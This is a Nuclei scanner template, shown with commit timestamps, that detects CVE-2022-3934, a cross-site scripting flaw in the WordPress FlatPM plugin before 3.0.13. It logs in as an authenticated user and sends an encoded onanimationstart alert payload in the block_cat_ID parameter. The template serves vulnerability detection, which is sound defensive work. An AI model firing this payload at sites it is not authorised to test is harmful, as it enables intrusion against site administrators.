2023-03-05 13:42:10 +00:00
id : CVE-2022-3934
info :
2023-03-13 19:03:01 +00:00
name : WordPress FlatPM <3.0.13 - Cross-Site Scripting
2023-03-05 13:42:10 +00:00
author : r3Y3r53
severity : medium
description : |
2023-03-13 18:36:29 +00:00
WordPress FlatPM plugin before 3.0.13 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape certain parameters before outputting them back in pages, which can be exploited against high privilege users such as admin. An attacker can steal cookie-based authentication credentials and launch other attacks.
2023-09-06 11:59:08 +00:00
remediation : Fixed in version 3.0.13.
2023-03-05 13:42:10 +00:00
reference :
- https://wpscan.com/vulnerability/ab68381f-c4b8-4945-a6a5-1d4d6473b73a
- https://nvd.nist.gov/vuln/detail/CVE-2022-3934
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score : 5.4
cve-id : CVE-2022-3934
cwe-id : CWE-79
2023-08-31 11:46:18 +00:00
epss-score : 0.00077
2023-10-25 17:36:19 +00:00
epss-percentile : 0.32192
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:mehanoid:flat_pm:*:*:*:*:*:wordpress:*:*
2023-03-05 13:42:10 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : mehanoid
product : flat_pm
2023-09-06 11:59:08 +00:00
framework : wordpress
2023-03-05 14:19:20 +00:00
tags : authenticated,wpscan,cve,cve2022,xss,flatpm,wordpress,wp-plugin
2023-03-05 13:42:10 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-05 13:42:10 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
@timeout : 10s
GET /wp-admin/admin.php?page=blocks_form&block_cat_ID=1%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29%2F%2F HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
matchers :
- type : dsl
dsl :
- 'status_code_2 == 200'
- 'contains(body_2, "alert(document.domain)") && contains(body_2, "Flat PM")'
condition : and
2023-10-26 05:41:51 +00:00
# digest: 4a0a00473045022100a7baf7c6bf717d2cf9698d75db501af1902af3f423aa373ca2792c65bfdb58e002207043ebd556f31a73179dbc1d02f4c817eee970be86121928717edb53f05fa9c5:922c64590222798bb761d5b6d8e72950